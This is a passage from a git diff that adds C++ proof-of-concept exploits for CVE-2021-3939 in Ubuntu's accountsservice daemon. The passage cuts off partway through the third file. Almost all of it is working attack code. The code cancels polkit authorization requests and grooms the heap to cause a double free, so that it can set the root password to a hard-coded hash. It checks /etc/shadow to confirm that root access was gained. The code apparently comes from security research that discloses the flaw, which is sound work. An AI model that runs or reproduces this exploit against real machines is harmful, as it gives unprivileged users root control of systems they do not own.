serialNumber_++, *polkit_requests_batch2[i]); + } + + // Note: this sends the same email address as we sent earlier (on the + // final iteration of the batch1 loop). That's because we don't want + // `user_change_email_authorized_cb` to call `save_extra_data`, which + // would cause a bunch of memory churn that we don't want. + dbus_method_call( + accounts_fd_.get(), + serialNumber_++, + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(email)) + ) + ), + _s(my_objectpath_), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s("SetEmail") + ); + + // password: iaminvincible! + const char* password = + "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB"; + const char* hint = "GoldenEye"; + send_accountsservice_SetPassword( + accounts_fd_.get(), root_objectpath.c_str(), password, hint, serialNumber_++ + ); + } + + // Give the messages a chance to get processed before we disconnect. + sleep(2); + printf("Finished iteration\n\n"); + } +}; + +int main(int argc, char* argv[]) { + const char* progname = argc > 0 ? argv[0] : "a.out"; + if (argc != 2) { + fprintf( + stderr, + "usage: %s \n" + "example: %s /var/run/dbus/system_bus_socket\n", + progname, + progname + ); + return EXIT_FAILURE; + } + + const char* dbus_socket_path = argv[1]; + + try { + // std::random is used to vary the batch sizes on each run, because + // it's difficult to know which batch sizes are the most likely to + // succeed. + std::random_device rd; + std::mt19937 gen(rd()); + std::uniform_int_distribution<> distrib(1, 64); + + ProgramInfo info(dbus_socket_path); + + // When the poc is successful, the root user's password is set, + // which causes /etc/shadow to be modified. So we can use stat + // to detect when the exploit was successful. + struct stat statorig; + stat(etc_shadow_path, &statorig); + + while(true) { + try { + Run run(info); + const size_t batch_size1 = distrib(gen); + const size_t batch_size2 = distrib(gen); + printf("batch sizes: %ld %ld\n", batch_size1, batch_size2); + run.attempt_exploit(batch_size1, batch_size2); + } catch (Error& e) { + printf("%s\n", e.what()); + sleep(2); + } + struct stat statnew; + stat(etc_shadow_path, &statnew); + if (!timespec_eq(statnew.st_mtim, statorig.st_mtim)) { + printf("%s was modified!\n", etc_shadow_path); + break; + } + } + } catch (ErrorWithErrno& e) { + const int err = e.getErrno(); + fprintf(stderr, "%s\n%s\n", e.what(), strerror(err)); + return EXIT_FAILURE; + } catch (std::exception& e) { + fprintf(stderr, "%s\n", e.what()); + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp new file mode 100644 index 0000000..d03cc4c --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp @@ -0,0 +1,846 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static const char accounts_daemon[] = "/usr/lib/accountsservice/accounts-daemon"; +static const char* etc_shadow_path = "/etc/shadow"; + +// Return true if the timespecs are equal. +bool timespec_eq(const timespec& t1, const timespec& t2) { + return t1.tv_sec == t2.tv_sec && t1.tv_nsec == t2.tv_nsec; +} + +// This class creates an array containing the names of all the files in a +// directory. It does this by running `scandirat` in its constructor. +class ScanDirAt { + struct dirent **namelist_; + const int n_; + +public: + explicit ScanDirAt(int fd) + : n_(scandirat(fd, ".", &namelist_, NULL, alphasort)) + { + if (n_ < 0) { + throw ErrorWithErrno("ScanDirAt failed."); + } + } + + ~ScanDirAt(); + + int size() const { return n_; } + + const char* get(int i) const { return namelist_[i]->d_name; } +}; + +ScanDirAt::~ScanDirAt() { + if (n_ >= 0) { + for (int i = 0; i < n_; i++) { + free(namelist_[i]); + } + free(namelist_); + } +} + +// Search `/proc/*/cmdline` to find the PID of a running program. +static std::vector search_pids(const char *cmdline, size_t cmdline_len) { + AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC)); + if (procdir_fd.get() < 0) { + throw ErrorWithErrno("Could not open /proc."); + } + ScanDirAt scanDir(procdir_fd.get()); + + const int n = scanDir.size(); + std::vector result; + for (int i = 0; i < n; i++) { + const char* subdir_name = scanDir.get(i); + AutoCloseFD subdir_fd( + openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC) + ); + if (procdir_fd.get() < 0) { + continue; + } + AutoCloseFD cmdline_fd( + openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC) + ); + if (cmdline_fd.get() < 0) { + continue; + } + + // Check if the command line matches. + char buf[0x1000]; + ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf)); + if (r < 0 || static_cast(r) < cmdline_len) { + continue; + } + if (memcmp(buf, cmdline, cmdline_len) == 0) { + // The name of the sub-directory is the PID. + result.push_back(atoi(subdir_name)); + } + } + return result; +} + +static pid_t search_pid(const char *cmdline, size_t cmdline_len) { + std::vector pids = search_pids(cmdline, cmdline_len); + if (pids.size() == 1) { + return pids[0]; + } + return -1; +} + +static std::string getHomeDir(uid_t uid) { + FILE *fp = fopen("/etc/passwd", "r"); + char buf[4096] = {}; + struct passwd pw; + struct passwd *pwp; + while (true) { + if (fgetpwent_r(fp, &pw, buf, sizeof(buf), &pwp) != 0) { + fclose(fp); + char errmsg[256]; + snprintf( + errmsg, sizeof(errmsg), + "Could not find UID %u in /etc/passwd.", + uid + ); + throw Error(errmsg); + } + if (uid == pw.pw_uid) { + fclose(fp); + return _s(pw.pw_dir); + } + } +} + +// An asynchronous version of a for loop: +// +// for (size_t i = start; i < end; i++) { body(i); } +// +static int async_loop( + size_t start, size_t end, + std::function)> body, + std::function cb +) { + if (start >= end) { + return cb(); + } + + return body( + start, + [start, end, body, cb]() -> int { + return async_loop(start+1, end, body, cb); + } + ); +} + +// Information that can be gathered once when we first start executing. +class ProgramInfo { +public: + // Path to the dbus socket. (Usually: /var/run/dbus/system_bus_socket) + const char* dbus_socket_path_; + + // UID and PID of this process. + const uid_t uid_; + const pid_t pid_; + + // Start time of the process. (Needed to register as an authentication agent.) + const uint64_t start_time_; + + const std::string homedir_; + + explicit ProgramInfo(const char* dbus_socket_path) : + dbus_socket_path_(dbus_socket_path), + uid_(getuid()), + pid_(getpid()), + start_time_(process_start_time(pid_)), + homedir_(getHomeDir(uid_)) + { + printf("uid: %u\n", uid_); + printf("pid: %u\n", pid_); + printf("home dir: %s\n", homedir_.c_str()); + } +}; + +class PolkitHandler; +class AccountsHandler; + +// This class manages the two EPoll handlers that we have open (one for +// communicating with polkit and the other for communicating with +// accountsservice). It enables the two handlers to call each other's +// methods when necessary, and it also takes care of shutting the handlers +// down. (The EPollLoop will not stop until all the handlers are +// disconnected, so when one handler disconnects the other needs to also +// disconnect.) +class EPollManager { + EPollLoop& loop_; + + // These pointers are owned by the EPollLoop. We have keep copies of them + // here so that we can call methods on them, and also so that we can call + // `EPollLoop::del_handler()` on them when we're done. + PolkitHandler* polkit_handler_ = nullptr; + AccountsHandler* accounts_handler_ = nullptr; + + void del_polkit_handler(); + void del_accounts_handler(); + +public: + explicit EPollManager(EPollLoop& loop) : + loop_(loop) + {} + + PolkitHandler* polkit_handler() { return polkit_handler_; } + AccountsHandler* accounts_handler() { return accounts_handler_; } + + void set_polkit_handler(PolkitHandler* polkit_handler){ + assert(!polkit_handler_); + polkit_handler_ = polkit_handler; + } + + void set_accounts_handler(AccountsHandler* accounts_handler){ + assert(!accounts_handler_); + accounts_handler_ = accounts_handler; + } + + void polkit_delete() { + polkit_handler_ = nullptr; + stop(); + } + + void accounts_delete() { + accounts_handler_ = nullptr; + stop(); + } + + void stop() const; +}; + +class PolkitHandler : public DBusHandler { + // This struct is used to store an error reply message, which we + // will send later. + struct BatchedErrorReply { + const serialNumber_t replySerial_; + const std::string sender_; + + BatchedErrorReply( + const serialNumber_t replySerial, + const std::string sender + ) : + replySerial_(replySerial), + sender_(sender) + {} + }; + + const ProgramInfo& info_; + EPollManager& manager_; + + // We deliberately delay responding to some of the polkit requests, to + // control the order of operations in accountsservice. The replies are + // queued here. + std::queue error_reply_queue_; + +private: + int quit() { + return -1; + } + + int register_with_polkit() { + std::unique_ptr body = + DBusMessageBody::mk( + _vec>( + // Subject + DBusObjectStruct::mk( + _vec>( + DBusObjectString::mk(_s("unix-process")), // subject_kind + DBusObjectArray::mk1( + _vec>( + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("pid")), + DBusObjectVariant::mk( + DBusObjectUint32::mk(info_.pid_) + ) + ), + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("uid")), + DBusObjectVariant::mk( + DBusObjectInt32::mk(info_.uid_) + ) + ), + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("start-time")), + DBusObjectVariant::mk( + DBusObjectUint64::mk(info_.start_time_) + ) + ) + ) + ) + ) + ), + DBusObjectString::mk(_s("en")), // locale + DBusObjectString::mk(_s("/org/freedesktop/PolicyKit1/AuthenticationAgent")) // object path + ) + ); + + send_call( + std::move(body), + _s("/org/freedesktop/PolicyKit1/Authority"), + _s("org.freedesktop.PolicyKit1.Authority"), + _s("org.freedesktop.PolicyKit1"), + _s("RegisterAuthenticationAgent"), + [this](const DBusMessage& message, bool isError) -> int { + if (isError) { + // Signal to the rest of the program that an error occurred. + print_dbus_message(STDERR_FILENO, message); + fprintf(stderr, "Could not register with polkit.\n"); + fflush(stderr); + return quit(); + } else { + printf("Successfully registered with polkit\n"); + return 0; + } + } + ); + + return 0; + } + +public: + PolkitHandler( + const ProgramInfo& info, + EPollManager& manager + ) : + DBusHandler(info.dbus_socket_path_), + info_(info), + manager_(manager) + {} + + ~PolkitHandler() override { + manager_.polkit_delete(); + } + + void stop() const { + shutdown(sock_, SHUT_RDWR); + } + + void accept() override final { + manager_.set_polkit_handler(this); + send_hello( + [this](const std::string& busname) -> int { + fprintf(stdout, "Unique bus name (polkit): %s\n", busname.c_str()); + fflush(stdout); + + return register_with_polkit(); + } + ); + } + + // Every time we attempt to set the root user's password by + // calling the SetPassword method, we should get an incoming + // polkit request here. + void receive_call(const DBusMessage& message) override final { + const std::string& sender = + message.getHeader_lookupField(MSGHDR_SENDER).getValue()->toString().getValue(); + error_reply_queue_.push( + BatchedErrorReply(message.getHeader_serialNumber(), sender) + ); + } + + // We don't expect to receive any calls. + void receive_signal(const DBusMessage&) override final { + logerror("Received a signal in PolkitHandler."); + } + + void receive_error(const DBusMessage& err) override final { + logerror("Received an error in PolkitHandler."); + print_dbus_message(STDERR_FILENO, err); + throw Error("Unexpected error in PolkitHandler."); + } + + void disconnect() noexcept override final { + logerror("PolkitHandler D-Bus socket disconnected."); + } + + void logerror(const char* errmsg) noexcept override final { + fprintf(stderr, "%s\n", errmsg); + } + + // Send at most `n` error replies to cancel the polkit requests. + // Due to the unpredicatable timing of when we receive the polkit + // requests it's possible that there are less than `n` elements in + // the queue. If so, we just stop early and don't worry about it. + // (We empty the queue at the beginning of every iteration of the + // exploit, to stop the queue from growing too big.) + void cancel_auth_requests(const size_t n) { + for (size_t i = 0; i < n; i++) { + if (error_reply_queue_.empty()) { + return; + } + + BatchedErrorReply& reply = error_reply_queue_.front(); + send_error_reply( + reply.replySerial_, + _s(reply.sender_), + _s("org.freedesktop.PolicyKit1.Error.Cancelled") + ); + error_reply_queue_.pop(); + } + } +}; + +class AccountsHandler : public DBusHandler { + const ProgramInfo& info_; + EPollManager& manager_; + + // std::random is used to vary the batch sizes on each run, because + // it's difficult to know which batch sizes are the most likely to + // succeed. + std::random_device rd_; + std::mt19937 gen_; + std::uniform_int_distribution<> distrib_; + + size_t batch_size1_ = 1; + size_t batch_size2_ = 1; + + std::string my_objectpath_; + std::string root_objectpath_; + const std::string pam_env_path_; + + // Email address for sending to the SetEmail method. + // Changing the email address triggers a call to `save_extra_data`, which + // causes a bunch of memory to be allocated and freed, but without + // increasing the total memory usage. (At least, I haven't noticed any + // memory leaks in that code.) Sometimes we do this to deliberately + // jumble the memory up so that a subsequent memory allocation will + // occupy the chunk that we want it to. Other times, we deliberately + // call the SetEmail method with the same email address as last time, so + // that we trigger a polkit check that will get approved, but without + // jumbling the memory any further. + char email_[64] = "kevwozere@kevwozere.com"; + +private: + int quit() { + return -1; + } + + void choose_batch_sizes() { + batch_size1_ = distrib_(gen_); + batch_size2_ = distrib_(gen_); + printf("batch sizes: %ld %ld\n", batch_size1_, batch_size2_); + } + +public: + AccountsHandler( + const ProgramInfo& info, + EPollManager& manager + ) : + DBusHandler(info.dbus_socket_path_), + info_(info), + manager_(manager), + gen_(rd_()), + distrib_(1,64), + pam_env_path_(info_.homedir_ + _s("/.pam_environment")) + {} + + virtual ~AccountsHandler() override { + manager_.accounts_delete(); + } + + void stop() const { + shutdown(sock_, SHUT_RDWR); + } + + void accept() override final { + manager_.set_accounts_handler(this); + send_hello( + [this](const std::string& busname) -> int { + fprintf(stdout, "Unique bus name (accounts): %s\n", busname.c_str()); + fflush(stdout); + + return findUserByID( + info_.uid_, + [this](const char* userpath, bool isError) -> int { + if (isError) { + return quit(); + } else { + my_objectpath_ = userpath; + return attempt_exploit(); + } + } + ); + } + ); + } + + // We don't expect to receive any calls. + void receive_call(const DBusMessage&) override final { + logerror("Unexpected incoming call in AccountsHandler."); + } + + // We don't expect to receive any calls. + void receive_signal(const DBusMessage&) override final { + logerror("Received a signal in AccountsHandler."); + } + + void receive_error(const DBusMessage& err) override final { + logerror("Received an error in AccountsHandler."); + print_dbus_message(STDERR_FILENO, err); + } + + void disconnect() noexcept override final { + logerror("AccountsHandler D-Bus socket disconnected."); + } + + void logerror(const char* errmsg) noexcept override final { + fprintf(stderr, "%s\n", errmsg); + } + + int findUserByID( + uid_t uid, + std::function cb + ) { + send_call( + DBusMessageBody::mk( + _vec>( + DBusObjectInt64::mk(uid) + ) + ), + _s("/org/freedesktop/Accounts"), + _s("org.freedesktop.Accounts"), + _s("org.freedesktop.Accounts"), + _s("FindUserById"), + [this, cb](const DBusMessage& message, bool isError) -> int { + if (isError) { + logerror("FindUserById failed"); + return cb(nullptr, true); + } else { + const std::string& userpath = + message.getBody().getElement(0)->toPath().getValue(); + printf("FindUserById: %s\n", userpath.c_str()); + return cb(userpath.c_str(), false); + } + } + ); + + return 0; + } + + int accounts_set_property( + const char* userpath, + const char* command, + const char* value, + reply_cb_t cb + ) { + send_call( + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(value)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s(command), + cb + ); + + return 0; + } + + int accounts_set_password( + const char* userpath, + const char* password, + const char* hint, + reply_cb_t cb + ) { + send_call( + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(password)), + DBusObjectString::mk(_s(hint)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s("SetPassword"), + cb + ); + + return 0; + } + + // This function triggers the bug by removing `~/.pam_environment` and + // calling the "SetLanguage" method. + int trigger_bug(reply_cb_t cb) { + unlink(pam_env_path_.c_str()); + return accounts_set_property( + my_objectpath_.c_str(), "SetLanguage", "kevwozere", cb + ); + } + + // We use this function to make sure that we're starting from a clean slate. + // It makes the exploit a bit less unreliable. + int restart_accounts_daemon(std::function cb) { + return trigger_bug( + [this, cb](const DBusMessage&, bool isError) -> int { + if (isError) { + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + if (pid < 0) { + printf("accounts-daemon is not running\n"); + return cb(); + } else { + printf("accounts-daemon PID: %d\n", pid); + } + } + // The reply isn't an error, which means that accounts-daemon + // didn't crash yet. Try again. + return restart_accounts_daemon(cb); + } + ); + } + + int send_batch( + const char* password, const char* hint, const size_t batch_size, + std::function cb + ) { + return async_loop( + 0, batch_size, + [this, password, hint](size_t i, std::function next) -> int { + // Change the email address to jumble the memory. + snprintf( + email_, sizeof(email_), + "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", + i + ); + return accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this, password, hint, next](const DBusMessage&, bool) -> int { + // Send the SetPassword message, but don't wait for the reply. + accounts_set_password( + root_objectpath_.c_str(), password, hint, + [this, password](const DBusMessage&, bool isError) -> int { + if (isError) { + return 0; + } else { + printf("SetPassword succeeded! password = %s\n", password); + return quit(); + } + } + ); + + return next(); + } + ); + }, + cb + ); + } + + int attempt_exploit() { + choose_batch_sizes(); + + return restart_accounts_daemon( + [this]() -> int { + return findUserByID( + 0, + [this](const char* rootpath, bool isError) -> int { + if (isError) { + // Something went wrong. Try again. + return attempt_exploit(); + } else { + root_objectpath_ = rootpath; + + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("Starting exploit. PID: %u\n", pid); + + return trigger_bug( + [this](const DBusMessage&, bool isError) -> int { + printf("trigger_bug: isError = %d\n", (int)isError); + + // The password and hint are sized so that they will require a chunk + // bigger than size 0x40. + const char* password = + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"; + const char* hint = + "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF"; + return send_batch( + password, hint, batch_size1_, + [this]() -> int { + // Trigger the bug a second time. If things are going to + // plan then the chunk currently contains the memory that + // was allocated by `user_set_password`. We can control + // when `free_passwords` gets called on it by releasing + // `polkit_requests_batch1`. + return trigger_bug( + [this](const DBusMessage&, bool isError) -> int { + printf("trigger_bug: isError = %d\n", (int)isError); + + // The password and hint are sized so that they will require a chunk + // of size 0x40. + const char* password = + "0123456789abcdef0123456789abcdef0123456789abcdef"; + const char* hint = + "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF"; + return send_batch( + password, hint, batch_size2_, + [this]() -> int { + // Cancel the first batch of polkit requests. + PolkitHandler* polkit_handler = manager_.polkit_handler(); + if (!polkit_handler) { + return quit(); + } + + polkit_handler->cancel_auth_requests(batch_size1_); + + // Send a bunch of requests that will be approved by polkit (because + // they only require org.freedesktop.accounts.change-own-user-data + // permission). We're hoping that the auth data that is allocated for + // one of these in `daemon_local_check_auth` (in an 0x40 chunk size) + // will get freed before it is approved and overwritten with the auth + // data for one of the subsequent SetPassword requests. + // We alternate between the different messages because the timing + // of when things will happen is very difficult to predict, so we + // just have to rely on luck. + for (size_t i = 0; i < batch_size2_ + 64; i++) { + // Reject all of the authentication requests from the second batch. + // This will hopefully cause a double free of one of the 0x40 chunks. + // We reject them one at a time, because we want the messages to + // be interspersed with the others. + polkit_handler->cancel_auth_requests(1); + + // Note: this sends the same email address as we sent earlier. That's + // because we don't want `user_change_email_authorized_cb` to call + // `save_extra_data`, which would cause a bunch of memory churn that + // we don't want. + accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this](const DBusMessage&, bool) -> int { + return 0; + } + ); + + // password: iaminvincible! + const char* password = + "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB"; + const char* hint = "GoldenEye"; + accounts_set_password( + root_objectpath_.c_str(), password, hint, + [this](const DBusMessage&, bool isError) -> int { + if (isError) { + return 0; + } else { + printf("SetPassword succeeded!\n"); + return quit(); + } + } + ); + } + + // One final email change, for synchronization purposes. + snprintf(email_, sizeof(email_), "kevwozere@kevwozere.com"); + return accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this](const DBusMessage&, bool isError) -> int { + printf("SetEmail isError = %d\n", isError); + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("End iteration. PID: %d\n", pid); + return quit(); + } + ); + } + ); + } + ); + } + ); + } + ); + } + } + ); + } + ); + } +}; + +void EPollManager::stop() const { + if (polkit_handler_) { + polkit_handler_->stop(); + } + if (accounts_handler_) { + accounts_handler_->stop(); + } +} + +int main(int argc, char* argv[]) { + const char* progname = argc > 0 ? argv[0] : "a.out"; + if (argc != 2) { + fprintf( + stderr, + "usage: %s \n" + "example: %s /var/run/dbus/system_bus_socket\n", + progname, + progname + ); + return EXIT_FAILURE; + } + + const char* dbus_socket_path = argv[1]; + + // When the poc is successful, the root user's password is set, + // which causes /etc/shadow to be modified. So we can use stat + // to detect when the exploit was successful. + struct stat statorig = {}; + stat(etc_shadow_path, &statorig); + + try { + while (true) { + EPollLoop loop; + + ProgramInfo info(dbus_socket_path); + EPollManager manager(loop); + + DBusAuthHandler* polkit_auth_handler = + new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager)); + if (loop.add_handler(polkit_auth_handler) < 0) { + throw Error(_s("Failed to add PolkitHandler")); + } + + DBusAuthHandler* accounts_auth_handler = + new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager)); + if (loop.add_handler(accounts_auth_handler) < 0) { + throw Error(_s("Failed to add AccountsHandler")); + } + + loop.run(); + + // If accountsservice crashes too often within a short period + // of time then it gets prevented from restarting, so it's better + // sleep for a few seconds between each exploit attempt. + sleep(4); + + // If the timestamp of /etc/shadow has changed then the exploit + // was (probably) successful. + struct stat statnew; + stat(etc_shadow_path, &statnew); + if (!timespec_eq(statnew.st_mtim, statorig.st_mtim)) { + printf("%s was modified!\n", etc_shadow_path); + break; + } + } + } catch (ErrorWithErrno& e) { + const int err = e.getErrno(); + fprintf(stderr, "%s\n%s\n", e.what(), strerror(err)); + return EXIT_FAILURE; + } catch (std::exception& e) { + fprintf(stderr, "%s\n", e.what()); + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp new file mode 100644 index 0000000..7ebe26e --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp @@ -0,0 +1,906 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static const char accounts_daemon[] = "/usr/lib/accountsservice/accounts-daemon"; +static const char* etc_shadow_path = "/etc/shadow"; + +// Return true if the timespecs are equal. +static bool timespec_eq(const timespec& t1, const timespec& t2) { + return t1.tv_sec == t2.tv_sec && t1.tv_nsec == t2.tv_nsec; +} + +// This class creates an array containing the names of all the files in a +// directory. It does this by running `scandirat` in its constructor. +class ScanDirAt { + struct dirent **namelist_; + const int n_; + +public: + explicit ScanDirAt(int fd) + : n_(scandirat(fd, ".", &namelist_, NULL, alphasort)) + { + if (n_ < 0) { + throw ErrorWithErrno("ScanDirAt failed."); + } + } + + ~ScanDirAt(); + + int size() const { return n_; } + + const char* get(int i) const { return namelist_[i]->d_name; } +}; + +ScanDirAt::~ScanDirAt() { + if (n_ >= 0) { + for (int i = 0; i < n_; i++) { + free(namelist_[i]); + } + free(namelist_); + } +} + +// Search `/proc/*/cmdline` to find the PID of a running program. +static std::vector search_pids(const char *cmdline, size_t cmdline_len) { + AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC)); + if (procdir_fd.get() < 0) { + throw ErrorWithErrno("Could not open /proc."); + } + ScanDirAt scanDir(procdir_fd.get()); + + const int n = scanDir.size(); + std::vector result; + for (int i = 0; i < n; i++) { + const char* subdir_name = scanDir.get(i); + AutoCloseFD subdir_fd( + openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC) + ); + if (procdir_fd.get() < 0) { + continue; + } + AutoCloseFD cmdline_fd( + openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC) + ); + if (cmdline_fd.get() < 0) { + continue; + } + + // Check if the command line matches. + char buf[0x1000]; + ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf)); + if (r < 0 || static_cast(r) < cmdline_len) { + continue; + } + if (memcmp(buf, cmdline, cmdline_len) == 0) { + // The name of the sub-directory is the PID. + result.push_back(atoi(subdir_name)); + } + } + return result; +} + +static pid_t search_pid(const char *cmdline, size_t cmdline_len) { + std::vector pids = search_pids(cmdline, cmdline_len); + if (pids.size() == 1) { + return pids[0]; + } + return -1; +} + +static std::string getHomeDir(uid_t uid) { + FILE *fp = fopen("/etc/passwd", "r"); + char buf[4096] = {}; + struct passwd pw; + struct passwd *pwp; + while (true) { + if (fgetpwent_r(fp, &pw, buf, sizeof(buf), &pwp) != 0) { + fclose(fp); + char errmsg[256]; + snprintf( + errmsg, sizeof(errmsg), + "Could not find UID %u in /etc/passwd.", + uid + ); + throw Error(errmsg); + } + if (uid == pw.pw_uid) { + fclose(fp); + return _s(pw.pw_dir); + } + } +} + +// Information that can be gathered once when we first start executing. +class ProgramInfo { +public: + // Path to the dbus socket. (Usually: /var/run/dbus/system_bus_socket) + const char* dbus_socket_path_; + + // UID and PID of this process. + const uid_t uid_; + const pid_t pid_; + + // Start time of the process. (Needed to register as an authentication agent.) + const uint64_t start_time_; + + const std::string homedir_; + + // When the poc is successful, the root user's password is set, + // which causes /etc/shadow to be modified. So we can use stat + // to detect when the exploit was successful. + struct stat statorig_ = {}; + + explicit ProgramInfo(const char* dbus_socket_path) : + dbus_socket_path_(dbus_socket_path), + uid_(getuid()), + pid_(getpid()), + start_time_(process_start_time(pid_)), + homedir_(getHomeDir(uid_)) + { + stat(etc_shadow_path, &statorig_); + printf("uid: %u\n", uid_); + printf("pid: %u\n", pid_); + printf("home dir: %s\n", homedir_.c_str()); + fflush(stdout); + } + + // If the timestamp of /etc/shadow has changed then the exploit + // was (probably) successful. + bool exploit_succeeded() const { + struct stat statnew; + stat(etc_shadow_path, &statnew); + return !timespec_eq(statnew.st_mtim, statorig_.st_mtim); + } +}; + +class PolkitHandler; +class AccountsHandler; +class TriggerBugHandler; + +// This class manages the two EPoll handlers that we have open (one for +// communicating with polkit and the other for communicating with +// accountsservice). It enables the two handlers to call each other's +// methods when necessary, and it also takes care of shutting the handlers +// down. (The EPollLoop will not stop until all the handlers are +// disconnected, so when one handler disconnects the other needs to also +// disconnect.) +class EPollManager { + EPollLoop& loop_; + + // These pointers are owned by the EPollLoop. We have keep copies of them + // here so that we can call methods on them, and also so that we can call + // `EPollLoop::del_handler()` on them when we're done. + PolkitHandler* polkit_handler_ = nullptr; + AccountsHandler* accounts_handler_ = nullptr; + TriggerBugHandler* trigger_bug_handler_ = nullptr; + + void del_polkit_handler(); + void del_accounts_handler(); + +public: + explicit EPollManager(EPollLoop& loop) : + loop_(loop) + {} + + PolkitHandler* polkit_handler() const { return polkit_handler_; } + AccountsHandler* accounts_handler() const { return accounts_handler_; } + TriggerBugHandler* trigger_bug_handler() const { return trigger_bug_handler_; } + + void set_polkit_handler(PolkitHandler* polkit_handler){ + assert(!polkit_handler_); + polkit_handler_ = polkit_handler; + } + + void set_accounts_handler(AccountsHandler* accounts_handler){ + assert(!accounts_handler_); + accounts_handler_ = accounts_handler; + } + + void set_trigger_bug_handler(TriggerBugHandler* trigger_bug_handler){ + assert(!trigger_bug_handler_); + trigger_bug_handler_ = trigger_bug_handler; + } + + void polkit_delete() { + polkit_handler_ = nullptr; + stop(); + } + + void accounts_delete() { + accounts_handler_ = nullptr; + stop(); + } + + void trigger_bug_delete() { + trigger_bug_handler_ = nullptr; + stop(); + } + + void stop() const; +}; + +class PolkitHandler : public DBusHandler { + // This struct is used to store an error reply message, which we + // will send later. + struct BatchedErrorReply { + const serialNumber_t replySerial_; + const std::string sender_; + + BatchedErrorReply( + const serialNumber_t replySerial, + const std::string sender + ) : + replySerial_(replySerial), + sender_(sender) + {} + }; + + const ProgramInfo& info_; + EPollManager& manager_; + + // We deliberately delay responding to some of the polkit requests, to + // control the order of operations in accountsservice. The replies are + // queued here. + std::queue error_reply_queue_; + +private: + int quit() { + return -1; + } + + int register_with_polkit() { + std::unique_ptr body = + DBusMessageBody::mk( + _vec>( + // Subject + DBusObjectStruct::mk( + _vec>( + DBusObjectString::mk(_s("unix-process")), // subject_kind + DBusObjectArray::mk1( + _vec>( + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("pid")), + DBusObjectVariant::mk( + DBusObjectUint32::mk(info_.pid_) + ) + ), + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("uid")), + DBusObjectVariant::mk( + DBusObjectInt32::mk(info_.uid_) + ) + ), + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("start-time")), + DBusObjectVariant::mk( + DBusObjectUint64::mk(info_.start_time_) + ) + ) + ) + ) + ) + ), + DBusObjectString::mk(_s("en")), // locale + DBusObjectString::mk(_s("/org/freedesktop/PolicyKit1/AuthenticationAgent")) // object path + ) + ); + + send_call( + std::move(body), + _s("/org/freedesktop/PolicyKit1/Authority"), + _s("org.freedesktop.PolicyKit1.Authority"), + _s("org.freedesktop.PolicyKit1"), + _s("RegisterAuthenticationAgent"), + [this](const DBusMessage& message, bool isError) -> int { + if (isError) { + // Signal to the rest of the program that an error occurred. + print_dbus_message(STDERR_FILENO, message); + fprintf(stderr, "[PolkitHandler] Could not register with polkit.\n"); + fflush(stderr); + return quit(); + } else { + printf("[PolkitHandler] Successfully registered with polkit\n"); + fflush(stdout); + return 0; + } + } + ); + + return 0; + } + +public: + PolkitHandler( + const ProgramInfo& info, + EPollManager& manager + ) : + DBusHandler(info.dbus_socket_path_), + info_(info), + manager_(manager) + {} + + ~PolkitHandler() override { + manager_.polkit_delete(); + } + + void stop() const { + shutdown(sock_, SHUT_RDWR); + } + + void accept() override final { + manager_.set_polkit_handler(this); + send_hello( + [this](const std::string& busname) -> int { + printf("[PolkitHandler] Unique bus name (polkit): %s\n", busname.c_str()); + fflush(stdout); + + return register_with_polkit(); + } + ); + } + + // Every time we attempt to set the root user's password by + // calling the SetPassword method, we should get an incoming + // polkit request here. + void receive_call(const DBusMessage& message) override final { + const std::string& sender = + message.getHeader_lookupField(MSGHDR_SENDER).getValue()->toString().getValue(); + error_reply_queue_.push( + BatchedErrorReply(message.getHeader_serialNumber(), sender) + ); + } + + // We don't expect to receive any calls. + void receive_signal(const DBusMessage&) override final { + logerror("Received a signal in PolkitHandler."); + } + + void receive_error(const 